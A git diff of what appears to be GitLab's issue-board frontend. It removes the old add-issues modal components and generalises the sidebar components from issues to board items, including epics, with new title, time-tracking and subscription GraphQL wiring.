- },
- methods: {
- scrollHandler() {
- const currentPage = Math.floor(this.issues.length / this.perPage);
-
- if (
- this.scrollTop() > this.scrollHeight() - 100 &&
- !this.loadingNewPage &&
- currentPage === this.page
- ) {
- this.loadingNewPage = true;
- this.page += 1;
- }
- },
- toggleIssue(e, issue) {
- if (e.target.tagName !== 'A') {
- ModalStore.toggleIssue(issue);
- }
- },
- listHeight() {
- return this.$refs.list.getBoundingClientRect().height;
- },
- scrollHeight() {
- return this.$refs.list.scrollHeight;
- },
- scrollTop() {
- return this.$refs.list.scrollTop + this.listHeight();
- },
- showIssue(issue) {
- if (this.activeTab === 'all') return true;
-
- const index = ModalStore.selectedIssueIndex(issue);
-
- return index !== -1;
- },
- setColumnCount() {
- const breakpoint = bp.getBreakpointSize();
-
- if (breakpoint === 'xl' || breakpoint === 'lg') {
- this.columns = 3;
- } else if (breakpoint === 'md') {
- this.columns = 2;
- } else {
- this.columns = 1;
- }
- },
- },
-};
-</script>
-<template>
- <section ref="list" class="add-issues-list add-issues-list-columns d-flex h-100">
- <div
- v-if="issuesCount > 0 && issues.length === 0"
- class="empty-state add-issues-empty-state-filter text-center"
- >
- <div class="svg-content"><img :src="emptyStateSvg" /></div>
- <div class="text-content">
- <h4>{{ __('There are no issues to show.') }}</h4>
- </div>
- </div>
- <div v-for="(group, index) in groupedIssues" :key="index" class="add-issues-list-column">
- <div v-for="issue in group" v-if="showIssue(issue)" :key="issue.id" class="board-card-parent">
- <div
- :class="{ 'is-active': issue.selected }"
- class="board-card position-relative p-3 rounded"
- @click="toggleIssue($event, issue)"
- >
- <board-card-inner :item="issue" />
- <gl-icon
- v-if="issue.selected"
- :aria-label="'Issue #' + issue.id + ' selected'"
- name="mobile-issue-close"
- aria-checked="true"
- class="issue-card-selected text-center"
- />
- </div>
- </div>
- </div>
- </section>
-</template>
diff --git a/app/assets/javascripts/boards/components/modal/lists_dropdown.vue b/app/assets/javascripts/boards/components/modal/lists_dropdown.vue
deleted file mode 100644
index 2065568d275..00000000000
--- a/app/assets/javascripts/boards/components/modal/lists_dropdown.vue
+++ /dev/null
@@ -1,49 +0,0 @@
-<script>
-import { GlLink, GlIcon } from '@gitlab/ui';
-import boardsStore from '../../stores/boards_store';
-import ModalStore from '../../stores/modal_store';
-
-export default {
- components: {
- GlLink,
- GlIcon,
- },
- data() {
- return {
- modal: ModalStore.store,
- state: boardsStore.state,
- };
- },
- computed: {
- selected() {
- return this.modal.selectedList || this.state.lists[1];
- },
- },
- destroyed() {
- this.modal.selectedList = null;
- },
-};
-</script>
-<template>
- <div class="dropdown inline">
- <button class="dropdown-menu-toggle" type="button" data-toggle="dropdown" aria-expanded="false">
- <span :style="{ backgroundColor: selected.label.color }" class="dropdown-label-box"> </span>
- {{ selected.title }} <gl-icon name="chevron-down" class="dropdown-menu-toggle-icon" />
- </button>
- <div class="dropdown-menu dropdown-menu-selectable dropdown-menu-drop-up">
- <ul>
- <li v-for="(list, i) in state.lists" v-if="list.type == 'label'" :key="i">
- <gl-link
- :class="{ 'is-active': list.id == selected.id }"
- href="#"
- role="button"
- @click.prevent="modal.selectedList = list"
- >
- <span :style="{ backgroundColor: list.label.color }" class="dropdown-label-box"> </span>
- {{ list.title }}
- </gl-link>
- </li>
- </ul>
- </div>
- </div>
-</template>
diff --git a/app/assets/javascripts/boards/components/modal/tabs.vue b/app/assets/javascripts/boards/components/modal/tabs.vue
deleted file mode 100644
index 0b717f516db..00000000000
--- a/app/assets/javascripts/boards/components/modal/tabs.vue
+++ /dev/null
@@ -1,42 +0,0 @@
-<script>
-/* eslint-disable @gitlab/vue-require-i18n-strings */
-import { GlTabs, GlTab, GlBadge } from '@gitlab/ui';
-import modalMixin from '../../mixins/modal_mixins';
-import ModalStore from '../../stores/modal_store';
-
-export default {
- components: {
- GlTabs,
- GlTab,
- GlBadge,
- },
- mixins: [modalMixin],
- data() {
- return ModalStore.store;
- },
- computed: {
- selectedCount() {
- return ModalStore.selectedCount();
- },
- },
- destroyed() {
- this.activeTab = 'all';
- },
-};
-</script>
-<template>
- <gl-tabs class="gl-mt-3">
- <gl-tab @click.prevent="changeTab('all')">
- <template slot="title">
- <span>Open issues</span>
- <gl-badge size="sm" class="gl-tab-counter-badge">{{ issuesCount }}</gl-badge>
- </template>
- </gl-tab>
- <gl-tab @click.prevent="changeTab('selected')">
- <template slot="title">
- <span>Selected issues</span>
- <gl-badge size="sm" class="gl-tab-counter-badge">{{ selectedCount }}</gl-badge>
- </template>
- </gl-tab>
- </gl-tabs>
-</template>
diff --git a/app/assets/javascripts/boards/components/sidebar/board_editable_item.vue b/app/assets/javascripts/boards/components/sidebar/board_editable_item.vue
index 61863bbe2a9..352a25ef6d9 100644
--- a/app/assets/javascripts/boards/components/sidebar/board_editable_item.vue
+++ b/app/assets/javascripts/boards/components/sidebar/board_editable_item.vue
@@ -98,14 +98,14 @@ export default {
<gl-button
v-if="canUpdate"
variant="link"
- class="gl-text-gray-900! gl-ml-5 js-sidebar-dropdown-toggle"
+ class="gl-text-gray-900! gl-ml-5 js-sidebar-dropdown-toggle edit-link"
data-testid="edit-button"
@click="toggle"
>
{{ __('Edit') }}
</gl-button>
</header>
- <div v-show="!edit" class="gl-text-gray-500" data-testid="collapsed-content">
+ <div v-show="!edit" class="gl-text-gray-500 value" data-testid="collapsed-content">
<slot name="collapsed">{{ __('None') }}</slot>
</div>
<div v-show="edit" data-testid="expanded-content">
diff --git a/app/assets/javascripts/boards/components/sidebar/board_sidebar_due_date.vue b/app/assets/javascripts/boards/components/sidebar/board_sidebar_due_date.vue
index 6d928337396..13e1e232676 100644
--- a/app/assets/javascripts/boards/components/sidebar/board_sidebar_due_date.vue
+++ b/app/assets/javascripts/boards/components/sidebar/board_sidebar_due_date.vue
@@ -18,16 +18,16 @@ export default {
};
},
computed: {
- ...mapGetters(['activeIssue', 'projectPathForActiveIssue']),
+ ...mapGetters(['activeBoardItem', 'projectPathForActiveIssue']),
hasDueDate() {
- return this.activeIssue.dueDate != null;
+ return this.activeBoardItem.dueDate != null;
},
parsedDueDate() {
if (!this.hasDueDate) {
return null;
}
- return parsePikadayDate(this.activeIssue.dueDate);
+ return parsePikadayDate(this.activeBoardItem.dueDate);
},
formattedDueDate() {
if (!this.hasDueDate) {
@@ -69,6 +69,7 @@ export default {
<board-editable-item
ref="sidebarItem"
class="board-sidebar-due-date"
+ data-testid="sidebar-due-date"
:title="$options.i18n.dueDate"
:loading="loading"
@open="openDatePicker"
diff --git a/app/assets/javascripts/boards/components/sidebar/board_sidebar_issue_title.vue b/app/assets/javascripts/boards/components/sidebar/board_sidebar_issue_title.vue
deleted file mode 100644
index 95864bd62a7..00000000000
--- a/app/assets/javascripts/boards/components/sidebar/board_sidebar_issue_title.vue
+++ /dev/null
@@ -1,169 +0,0 @@
-<script>
-import { GlAlert, GlButton, GlForm, GlFormGroup, GlFormInput } from '@gitlab/ui';
-import { mapGetters, mapActions } from 'vuex';
-import BoardEditableItem from '~/boards/components/sidebar/board_editable_item.vue';
-import createFlash from '~/flash';
-import { joinPaths } from '~/lib/utils/url_utility';
-import { __ } from '~/locale';
-import autofocusonshow from '~/vue_shared/directives/autofocusonshow';
-
-export default {
- components: {
- GlForm,
- GlAlert,
- GlButton,
- GlFormGroup,
- GlFormInput,
- BoardEditableItem,
- },
- directives: {
- autofocusonshow,
- },
- data() {
- return {
- title: '',
- loading: false,
- showChangesAlert: false,
- };
- },
- computed: {
- ...mapGetters({ issue: 'activeIssue' }),
- pendingChangesStorageKey() {
- return this.getPendingChangesKey(this.issue);
- },
- projectPath() {
- const referencePath = this.issue.referencePath || '';
- return referencePath.slice(0, referencePath.indexOf('#'));
- },
- validationState() {
- return Boolean(this.title);
- },
- },
- watch: {
- issue: {
- handler(updatedIssue, formerIssue) {
- if (formerIssue?.title !== this.title) {
- localStorage.setItem(this.getPendingChangesKey(formerIssue), this.title);
- }
-
- this.title = updatedIssue.title;
- this.setPendingState();
- },
- immediate: true,
- },
- },
- methods: {
- ...mapActions(['setActiveIssueTitle']),
- getPendingChangesKey(issue) {
- if (!issue) {
- return '';
- }
-
- return joinPaths(
- window.location.pathname.slice(1),
- String(issue.id),
- 'issue-title-pending-changes',
- );
- },
- async setPendingState() {
- const pendingChanges = localStorage.getItem(this.pendingChangesStorageKey);
-
- if (pendingChanges) {
- this.title = pendingChanges;
- this.showChangesAlert = true;
- await this.$nextTick();
- this.$refs.sidebarItem.expand();
- } else {
- this.showChangesAlert = false;
- }
- },
- cancel() {
- this.title = this.issue.title;
- this.$refs.sidebarItem.collapse();
- this.showChangesAlert = false;
- localStorage.removeItem(this.pendingChangesStorageKey);
- },
- async setTitle() {
- this.$refs.sidebarItem.collapse();
-
- if (!this.title || this.title === this.issue.title) {
- return;
- }
-
- try {
- this.loading = true;
- await this.setActiveIssueTitle({ title: this.title, projectPath: this.projectPath });
- localStorage.removeItem(this.pendingChangesStorageKey);
- this.showChangesAlert = false;
- } catch (e) {
- this.title = this.issue.title;
- createFlash({ message: this.$options.i18n.updateTitleError });
- } finally {
- this.loading = false;
- }
- },
- handleOffClick() {
- if (this.title !== this.issue.title) {
- this.showChangesAlert = true;
- localStorage.setItem(this.pendingChangesStorageKey, this.title);
- } else {
- this.$refs.sidebarItem.collapse();
- }
- },
- },
- i18n: {
- issueTitlePlaceholder: __('Issue title'),
- submitButton: __('Save changes'),
- cancelButton: __('Cancel'),
- updateTitleError: __('An error occurred when updating the issue title'),
- invalidFeedback: __('An issue title is required'),
- reviewYourChanges: __('Changes to the title have not been saved'),
- },
-};
-</script>
-
-<template>
- <board-editable-item
- ref="sidebarItem"
- toggle-header
- :loading="loading"
- :handle-off-click="false"
- @off-click="handleOffClick"
- >
- <template #title>
- <span class="gl-font-weight-bold" data-testid="issue-title">{{ issue.title }}</span>
- </template>
- <template #collapsed>
- <span class="gl-text-gray-800">{{ issue.referencePath }}</span>
- </template>
- <gl-alert v-if="showChangesAlert" variant="warning" class="gl-mb-5" :dismissible="false">
- {{ $options.i18n.reviewYourChanges }}
- </gl-alert>
- <gl-form @submit.prevent="setTitle">
- <gl-form-group :invalid-feedback="$options.i18n.invalidFeedback" :state="validationState">
- <gl-form-input
- v-model="title"
- v-autofocusonshow
- :placeholder="$options.i18n.issueTitlePlaceholder"
- :state="validationState"
- />
- </gl-form-group>
-
- <div class="gl-display-flex gl-w-full gl-justify-content-space-between gl-mt-5">
- <gl-button
- variant="success"
- size="small"
- data-testid="submit-button"
- :disabled="!title"
- @click="setTitle"
- >
- {{ $options.i18n.submitButton }}
- </gl-button>
-
- <gl-button size="small" data-testid="cancel-button" @click="cancel">
- {{ $options.i18n.cancelButton }}
- </gl-button>
- </div>
- </gl-form>
- </board-editable-item>
-</template>
diff --git a/app/assets/javascripts/boards/components/sidebar/board_sidebar_labels_select.vue b/app/assets/javascripts/boards/components/sidebar/board_sidebar_labels_select.vue
index 55b1596ee18..f78be83cd82 100644
--- a/app/assets/javascripts/boards/components/sidebar/board_sidebar_labels_select.vue
+++ b/app/assets/javascripts/boards/components/sidebar/board_sidebar_labels_select.vue
@@ -21,9 +21,9 @@ export default {
};
},
computed: {
- ...mapGetters(['activeIssue', 'projectPathForActiveIssue']),
+ ...mapGetters(['activeBoardItem', 'projectPathForActiveIssue']),
selectedLabels() {
- const { labels = [] } = this.activeIssue;
+ const { labels = [] } = this.activeBoardItem;
return labels.map((label) => ({
...label,
@@ -31,7 +31,7 @@ export default {
}));
},
issueLabels() {
- const { labels = [] } = this.activeIssue;
+ const { labels = [] } = this.activeBoardItem;
return labels.map((label) => ({
...label,
@@ -40,7 +40,7 @@ export default {
},
},
methods: {
- ...mapActions(['setActiveIssueLabels']),
+ ...mapActions(['setActiveBoardItemLabels']),
async setLabels(payload) {
this.loading = true;
this.$refs.sidebarItem.collapse();
@@ -52,7 +52,7 @@ export default {
.map((label) => label.id);
const input = { addLabelIds, removeLabelIds, projectPath: this.projectPathForActiveIssue };
- await this.setActiveIssueLabels(input);
+ await this.setActiveBoardItemLabels(input);
} catch (e) {
createFlash({ message: __('An error occurred while updating labels.') });
} finally {
@@ -65,7 +65,7 @@ export default {
try {
const removeLabelIds = [getIdFromGraphQLId(id)];
const input = { removeLabelIds, projectPath: this.projectPathForActiveIssue };
- await this.setActiveIssueLabels(input);
+ await this.setActiveBoardItemLabels(input);
} catch (e) {
createFlash({ message: __('An error occurred when removing the label.') });
} finally {
diff --git a/app/assets/javascripts/boards/components/sidebar/board_sidebar_milestone_select.vue b/app/assets/javascripts/boards/components/sidebar/board_sidebar_milestone_select.vue
index 829f1c72806..ad225c7bf5c 100644
--- a/app/assets/javascripts/boards/components/sidebar/board_sidebar_milestone_select.vue
+++ b/app/assets/javascripts/boards/components/sidebar/board_sidebar_milestone_select.vue
@@ -56,20 +56,20 @@ export default {
},
},
computed: {
- ...mapGetters(['activeIssue']),
+ ...mapGetters(['activeBoardItem']),
hasMilestone() {
- return this.activeIssue.milestone !== null;
+ return this.activeBoardItem.milestone !== null;
},
groupFullPath() {
- const { referencePath = '' } = this.activeIssue;
+ const { referencePath = '' } = this.activeBoardItem;
return referencePath.slice(0, referencePath.indexOf('/'));
},
projectPath() {
- const { referencePath = '' } = this.activeIssue;
+ const { referencePath = '' } = this.activeBoardItem;
return referencePath.slice(0, referencePath.indexOf('#'));
},
dropdownText() {
- return this.activeIssue.milestone?.title ?? this.$options.i18n.noMilestone;
+ return this.activeBoardItem.milestone?.title ?? this.$options.i18n.noMilestone;
},
},
methods: {
@@ -113,11 +113,12 @@ export default {
ref="sidebarItem"
:title="$options.i18n.milestone"
:loading="loading"
- @open="handleOpen()"
+ data-testid="sidebar-milestones"
+ @open="handleOpen"
@close="handleClose"
>
<template v-if="hasMilestone" #collapsed>
- <strong class="gl-text-gray-900">{{ activeIssue.milestone.title }}</strong>
+ <strong class="gl-text-gray-900">{{ activeBoardItem.milestone.title }}</strong>
</template>
<gl-dropdown
ref="dropdown"
@@ -130,7 +131,7 @@ export default {
<gl-dropdown-item
data-testid="no-milestone-item"
:is-check-item="true"
- :is-checked="!activeIssue.milestone"
+ :is-checked="!activeBoardItem.milestone"
@click="setMilestone(null)"
>
{{ $options.i18n.noMilestone }}
@@ -142,7 +143,7 @@ export default {
v-for="milestone in milestones"
:key="milestone.id"
:is-check-item="true"
- :is-checked="activeIssue.milestone && milestone.id === activeIssue.milestone.id"
+ :is-checked="activeBoardItem.milestone && milestone.id === activeBoardItem.milestone.id"
data-testid="milestone-item"
@click="setMilestone(milestone.id)"
>
diff --git a/app/assets/javascripts/boards/components/sidebar/board_sidebar_subscription.vue b/app/assets/javascripts/boards/components/sidebar/board_sidebar_subscription.vue
index f01c8e8fa20..376985f7cb6 100644
--- a/app/assets/javascripts/boards/components/sidebar/board_sidebar_subscription.vue
+++ b/app/assets/javascripts/boards/components/sidebar/board_sidebar_subscription.vue
@@ -21,27 +21,31 @@ export default {
components: {
GlToggle,
},
+ inject: ['emailsDisabled'],
data() {
return {
loading: false,
};
},
computed: {
- ...mapGetters(['activeIssue', 'projectPathForActiveIssue']),
+ ...mapGetters(['activeBoardItem', 'projectPathForActiveIssue', 'isEpicBoard']),
+ isEmailsDisabled() {
+ return this.isEpicBoard ? this.emailsDisabled : this.activeBoardItem.emailsDisabled;
+ },
notificationText() {
- return this.activeIssue.emailsDisabled
+ return this.isEmailsDisabled
? this.$options.i18n.header.subscribeDisabledDescription
: this.$options.i18n.header.title;
},
},
methods: {
- ...mapActions(['setActiveIssueSubscribed']),
+ ...mapActions(['setActiveItemSubscribed']),
async handleToggleSubscription() {
this.loading = true;
try {
- await this.setActiveIssueSubscribed({
- subscribed: !this.activeIssue.subscribed,
+ await this.setActiveItemSubscribed({
+ subscribed: !this.activeBoardItem.subscribed,
projectPath: this.projectPathForActiveIssue,
});
} catch (error) {
@@ -61,8 +65,8 @@ export default {
>
<span data-testid="notification-header-text"> {{ notificationText }} </span>
<gl-toggle
- v-if="!activeIssue.emailsDisabled"
- :value="activeIssue.subscribed"
+ v-if="!isEmailsDisabled"
+ :value="activeBoardItem.subscribed"
:is-loading="loading"
:label="$options.i18n.header.title"
label-position="hidden"
diff --git a/app/assets/javascripts/boards/components/sidebar/board_sidebar_time_tracker.vue b/app/assets/javascripts/boards/components/sidebar/board_sidebar_time_tracker.vue
new file mode 100644
index 00000000000..96d444980a8
--- /dev/null
+++ b/app/assets/javascripts/boards/components/sidebar/board_sidebar_time_tracker.vue
@@ -0,0 +1,25 @@
+<script>
+import { mapGetters } from 'vuex';
+import IssuableTimeTracker from '~/sidebar/components/time_tracking/time_tracker.vue';
+
+export default {
+ components: {
+ IssuableTimeTracker,
+ },
+ inject: ['timeTrackingLimitToHours'],
+ computed: {
+ ...mapGetters(['activeBoardItem']),
+ },
+};
+</script>
+
+<template>
+ <issuable-time-tracker
+ :time-estimate="activeBoardItem.timeEstimate"
+ :time-spent="activeBoardItem.totalTimeSpent"
+ :human-time-estimate="activeBoardItem.humanTimeEstimate"
+ :human-time-spent="activeBoardItem.humanTotalTimeSpent"
+ :limit-to-hours="timeTrackingLimitToHours"
+ :show-collapsed="false"
+ />
+</template>
diff --git a/app/assets/javascripts/boards/components/sidebar/board_sidebar_title.vue b/app/assets/javascripts/boards/components/sidebar/board_sidebar_title.vue
new file mode 100644
index 00000000000..b8d3107c377
--- /dev/null
+++ b/app/assets/javascripts/boards/components/sidebar/board_sidebar_title.vue
@@ -0,0 +1,169 @@
+<script>
+import { GlAlert, GlButton, GlForm, GlFormGroup, GlFormInput } from '@gitlab/ui';
+import { mapGetters, mapActions } from 'vuex';
+import BoardEditableItem from '~/boards/components/sidebar/board_editable_item.vue';
+import createFlash from '~/flash';
+import { joinPaths } from '~/lib/utils/url_utility';
+import { __ } from '~/locale';
+import autofocusonshow from '~/vue_shared/directives/autofocusonshow';
+
+export default {
+ components: {
+ GlForm,
+ GlAlert,
+ GlButton,
+ GlFormGroup,
+ GlFormInput,
+ BoardEditableItem,
+ },
+ directives: {
+ autofocusonshow,
+ },
+ data() {
+ return {
+ title: '',
+ loading: false,
+ showChangesAlert: false,
+ };
+ },
+ computed: {
+ ...mapGetters({ item: 'activeBoardItem' }),
+ pendingChangesStorageKey() {
+ return this.getPendingChangesKey(this.item);
+ },
+ projectPath() {
+ const referencePath = this.item.referencePath || '';
+ return referencePath.slice(0, referencePath.indexOf('#'));
+ },
+ validationState() {
+ return Boolean(this.title);
+ },
+ },
+ watch: {
+ item: {
+ handler(updatedItem, formerItem) {
+ if (formerItem?.title !== this.title) {
+ localStorage.setItem(this.getPendingChangesKey(formerItem), this.title);
+ }
+
+ this.title = updatedItem.title;
+ this.setPendingState();
+ },
+ immediate: true,
+ },
+ },
+ methods: {
+ ...mapActions(['setActiveItemTitle']),
+ getPendingChangesKey(item) {
+ if (!item) {
+ return '';
+ }
+
+ return joinPaths(
+ window.location.pathname.slice(1),
+ String(item.id),
+ 'item-title-pending-changes',
+ );
+ },
+ async setPendingState() {
+ const pendingChanges = localStorage.getItem(this.pendingChangesStorageKey);
+
+ if (pendingChanges) {
+ this.title = pendingChanges;
+ this.showChangesAlert = true;
+ await this.$nextTick();
+ this.$refs.sidebarItem.expand();
+ } else {
+ this.showChangesAlert = false;
+ }
+ },
+ cancel() {
+ this.title = this.item.title;
+ this.$refs.sidebarItem.collapse();
+ this.showChangesAlert = false;
+ localStorage.removeItem(this.pendingChangesStorageKey);
+ },
+ async setTitle() {
+ this.$refs.sidebarItem.collapse();
+
+ if (!this.title || this.title === this.item.title) {
+ return;
+ }
+
+ try {
+ this.loading = true;
+ await this.setActiveItemTitle({ title: this.title, projectPath: this.projectPath });
+ localStorage.removeItem(this.pendingChangesStorageKey);
+ this.showChangesAlert = false;
+ } catch (e) {
+ this.title = this.item.title;
+ createFlash({ message: this.$options.i18n.updateTitleError });
+ } finally {
+ this.loading = false;
+ }
+ },
+ handleOffClick() {
+ if (this.title !== this.item.title) {
+ this.showChangesAlert = true;
+ localStorage.setItem(this.pendingChangesStorageKey, this.title);
+ } else {
+ this.$refs.sidebarItem.collapse();
+ }
+ },
+ },
+ i18n: {
+ titlePlaceholder: __('Title'),
+ submitButton: __('Save changes'),
+ cancelButton: __('Cancel'),
+ updateTitleError: __('An error occurred when updating the title'),
+ invalidFeedback: __('A title is required'),
+ reviewYourChanges: __('Changes to the title have not been saved'),
+ },
+};
+</script>
+
+<template>
+ <board-editable-item
+ ref="sidebarItem"
+ toggle-header
+ :loading="loading"
+ :handle-off-click="false"
+ @off-click="handleOffClick"
+ >
+ <template #title>
+ <span class="gl-font-weight-bold" data-testid="item-title">{{ item.title }}</span>
+ </template>
+ <template #collapsed>
+ <span class="gl-text-gray-800">{{ item.referencePath }}</span>
+ </template>
+ <gl-alert v-if="showChangesAlert" variant="warning" class="gl-mb-5" :dismissible="false">
+ {{ $options.i18n.reviewYourChanges }}
+ </gl-alert>
+ <gl-form @submit.prevent="setTitle">
+ <gl-form-group :invalid-feedback="$options.i18n.invalidFeedback" :state="validationState">
+ <gl-form-input
+ v-model="title"
+ v-autofocusonshow
+ :placeholder="$options.i18n.titlePlaceholder"
+ :state="validationState"
+ />
+ </gl-form-group>
+
+ <div class="gl-display-flex gl-w-full gl-justify-content-space-between gl-mt-5">
+ <gl-button
+ variant="success"
+ size="small"
+ data-testid="submit-button"
+ :disabled="!title"
+ @click="setTitle"
+ >
+ {{ $options.i18n.submitButton }}
+ </gl-button>
+
+ <gl-button size="small" data-testid="cancel-button" @click="cancel">
+ {{ $options.i18n.cancelButton }}
+ </gl-button>
+ </div>
+ </gl-form>
+ </board-editable-item>
+</template>
diff --git a/app/assets/javascripts/boards/components/toggle_focus.vue b/app/assets/javascripts/boards/components/toggle_focus.vue
index 74805f8a681..49f5e7d20a9 100644
--- a/app/assets/javascripts/boards/components/toggle_focus.vue
+++ b/app/assets/javascripts/boards/components/toggle_focus.vue
@@ -38,14 +38,16 @@ export default {
</script>
<template>
- <div class="board-extra-actions gl-ml-3 gl-display-flex gl-align-items-center">
+ <div class="gl-ml-3 gl-display-none gl-md-display-flex gl-align-items-center">
<gl-button
ref="toggleFocusModeButton"
v-gl-tooltip
+ category="tertiary"
:icon="isFullscreen ? 'minimize' : 'maximize'"
class="js-focus-mode-btn"
data-qa-selector="focus_mode_button"
:title="$options.i18n.toggleFocusMode"
+ :aria-label="$options.i18n.toggleFocusMode"
@click="toggleFocusMode"
/>
</div>
diff --git a/app/assets/javascripts/boards/config_toggle.js b/app/assets/javascripts/boards/config_toggle.js
index 7f327c5764d..41938d8e284 100644
--- a/app/assets/javascripts/boards/config_toggle.js
+++ b/app/assets/javascripts/boards/config_toggle.js
@@ -2,14 +2,15 @@ import Vue from 'vue';
import { parseBoolean } from '~/lib/utils/common_utils';
import ConfigToggle from './components/config_toggle.vue';
-export default (boardsStore) => {
+export default (boardsStore = undefined) => {
const el = document.querySelector('.js-board-config');
if (!el) {
return;
}
- gl.boardConfigToggle = new Vue({
+ // eslint-disable-next-line no-new
+ new Vue({
el,
render(h) {
return h(ConfigToggle, {
diff --git a/app/assets/javascripts/boards/constants.js b/app/assets/javascripts/boards/constants.js
index 65ebfe7be6c..4ebd30fe67b 100644
--- a/app/assets/javascripts/boards/constants.js
+++ b/app/assets/javascripts/boards/constants.js
@@ -1,4 +1,9 @@
import { __ } from '~/locale';
+import updateEpicSubscriptionMutation from '~/sidebar/queries/update_epic_subscription.mutation.graphql';
+import updateEpicTitleMutation from '~/sidebar/queries/update_epic_title.mutation.graphql';
+import boardBlockingIssuesQuery from './graphql/board_blocking_issues.query.graphql';
+import issueSetSubscriptionMutation from './graphql/issue_set_subscription.mutation.graphql';
+import issueSetTitleMutation from './graphql/issue_set_title.mutation.graphql';
export const issuableTypes = {
issue: 'issue',
@@ -45,3 +50,27 @@ export default {
BoardType,
ListType,
};
+
+export const blockingIssuablesQueries = {
+ [issuableTypes.issue]: {
+ query: boardBlockingIssuesQuery,
+ },
+};
+
+export const titleQueries = {
+ [issuableTypes.issue]: {
+ mutation: issueSetTitleMutation,
+ },
+ [issuableTypes.epic]: {
+ mutation: updateEpicTitleMutation,
+ },
+};
+
+export const subscriptionQueries = {
+ [issuableTypes.issue]: {
+ mutation: issueSetSubscriptionMutation,
+ },
+ [issuableTypes.epic]: {
+ mutation: updateEpicSubscriptionMutation,
+ },
+};
diff --git a/app/assets/javascripts/boards/ee_functions.js b/app/assets/javascripts/boards/ee_functions.js
index b6b34556663..62a0d930ec0 100644
--- a/app/assets/javascripts/boards/ee_functions.js
+++ b/app/assets/javascripts/boards/ee_functions.js
@@ -2,4 +2,3 @@ export const setWeightFetchingState = () => {};
export const setEpicFetchingState = () => {};
export const getMilestoneTitle = () => ({});
-export const getBoardsModalData = () => ({});
diff --git a/app/assets/javascripts/boards/filtered_search.js b/app/assets/javascripts/boards/filtered_search.js
deleted file mode 100644
index 182a2cf3724..00000000000
--- a/app/assets/javascripts/boards/filtered_search.js
+++ /dev/null
@@ -1,25 +0,0 @@
-import Vue from 'vue';
-import store from '~/boards/stores';
-import { queryToObject } from '~/lib/utils/url_utility';
-import FilteredSearch from './components/filtered_search.vue';
-
-export default () => {
- const queryParams = queryToObject(window.location.search);
- const el = document.getElementById('js-board-filtered-search');
-
- /*
- When https://github.com/vuejs/vue-apollo/pull/1153 is merged and deployed
- we can remove apolloProvider option from here. Currently without it its causing
- an error
- */
-
- return new Vue({
- el,
- store,
- apolloProvider: {},
- render: (createElement) =>
- createElement(FilteredSearch, {
- props: { search: queryParams.search },
- }),
- });
-};
diff --git a/app/assets/javascripts/boards/graphql/board_blocking_issues.query.graphql b/app/assets/javascripts/boards/graphql/board_blocking_issues.query.graphql
new file mode 100644
index 00000000000..4dc245660a4
--- /dev/null
+++ b/app/assets/javascripts/boards/graphql/board_blocking_issues.query.graphql
@@ -0,0 +1,16 @@
+query BoardBlockingIssues($id: IssueID!) {
+ issuable: issue(id: $id) {
+ __typename
+ id
+ blockingIssuables: blockedByIssues {
+ __typename
+ nodes {
+ id
+ iid
+ title
+ reference(full: true)
+ webUrl
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/boards/graphql/issue.fragment.graphql b/app/assets/javascripts/boards/graphql/issue.fragment.graphql
index 1395bef39ed..7ecf9261214 100644
--- a/app/assets/javascripts/boards/graphql/issue.fragment.graphql
+++ b/app/assets/javascripts/boards/graphql/issue.fragment.graphql
@@ -7,6 +7,10 @@ fragment IssueNode on Issue {
referencePath: reference(full: true)
dueDate
timeEstimate
+ totalTimeSpent
+ humanTimeEstimate
+ humanTotalTimeSpent
+ emailsDisabled
confidential
webUrl
subscribed
diff --git a/app/assets/javascripts/boards/graphql/issue_set_subscription.mutation.graphql b/app/assets/javascripts/boards/graphql/issue_set_subscription.mutation.graphql
index 1f383245ac2..bfb87758e17 100644
--- a/app/assets/javascripts/boards/graphql/issue_set_subscription.mutation.graphql
+++ b/app/assets/javascripts/boards/graphql/issue_set_subscription.mutation.graphql
@@ -1,5 +1,5 @@
mutation issueSetSubscription($input: IssueSetSubscriptionInput!) {
- issueSetSubscription(input: $input) {
+ updateIssuableSubscription: issueSetSubscription(input: $input) {
issue {
subscribed
}
diff --git a/app/assets/javascripts/boards/graphql/issue_set_title.mutation.graphql b/app/assets/javascripts/boards/graphql/issue_set_title.mutation.graphql
index 62e6c1352a6..6ad12d982e0 100644
--- a/app/assets/javascripts/boards/graphql/issue_set_title.mutation.graphql
+++ b/app/assets/javascripts/boards/graphql/issue_set_title.mutation.graphql
@@ -1,5 +1,5 @@
mutation issueSetTitle($input: UpdateIssueInput!) {
- updateIssue(input: $input) {
+ updateIssuableTitle: updateIssue(input: $input) {
issue {
title
}
diff --git a/app/assets/javascripts/boards/index.js b/app/assets/javascripts/boards/index.js
index ceca5b0a451..e3f9d2f24c2 100644
--- a/app/assets/javascripts/boards/index.js
+++ b/app/assets/javascripts/boards/index.js
@@ -10,26 +10,21 @@ import {
setWeightFetchingState,
setEpicFetchingState,
getMilestoneTitle,
- getBoardsModalData,
} from 'ee_else_ce/boards/ee_functions';
import toggleEpicsSwimlanes from 'ee_else_ce/boards/toggle_epics_swimlanes';
import toggleLabels from 'ee_else_ce/boards/toggle_labels';
import BoardAddNewColumnTrigger from '~/boards/components/board_add_new_column_trigger.vue';
import BoardContent from '~/boards/components/board_content.vue';
-import BoardExtraActions from '~/boards/components/board_extra_actions.vue';
import './models/label';
import './models/assignee';
import '~/boards/models/milestone';
import '~/boards/models/project';
import '~/boards/filters/due_date_filters';
-import BoardAddIssuesModal from '~/boards/components/modal/index.vue';
import { issuableTypes } from '~/boards/constants';
import eventHub from '~/boards/eventhub';
import FilteredSearchBoards from '~/boards/filtered_search_boards';
-import modalMixin from '~/boards/mixins/modal_mixins';
import store from '~/boards/stores';
import boardsStore from '~/boards/stores/boards_store';
-import ModalStore from '~/boards/stores/modal_store';
import toggleFocusMode from '~/boards/toggle_focus';
import { deprecatedCreateFlash as Flash } from '~/flash';
import createDefaultClient from '~/lib/graphql';
@@ -72,21 +67,12 @@ export default () => {
boardsStore.setTimeTrackingLimitToHours($boardApp.dataset.timeTrackingLimitToHours);
}
- if (gon?.features?.boardsFilteredSearch) {
- import('~/boards/filtered_search')
- .then(({ default: initFilteredSearch }) => {
- initFilteredSearch(apolloProvider);
- })
- .catch(() => {});
- }
-
// eslint-disable-next-line @gitlab/no-runtime-template-compiler
issueBoardsApp = new Vue({
el: $boardApp,
components: {
BoardContent,
BoardSidebar,
- BoardAddIssuesModal,
BoardSettingsSidebar: () => import('~/boards/components/board_settings_sidebar.vue'),
},
provide: {
@@ -95,6 +81,7 @@ export default () => {
rootPath: $boardApp.dataset.rootPath,
currentUserId: gon.current_user_id || null,
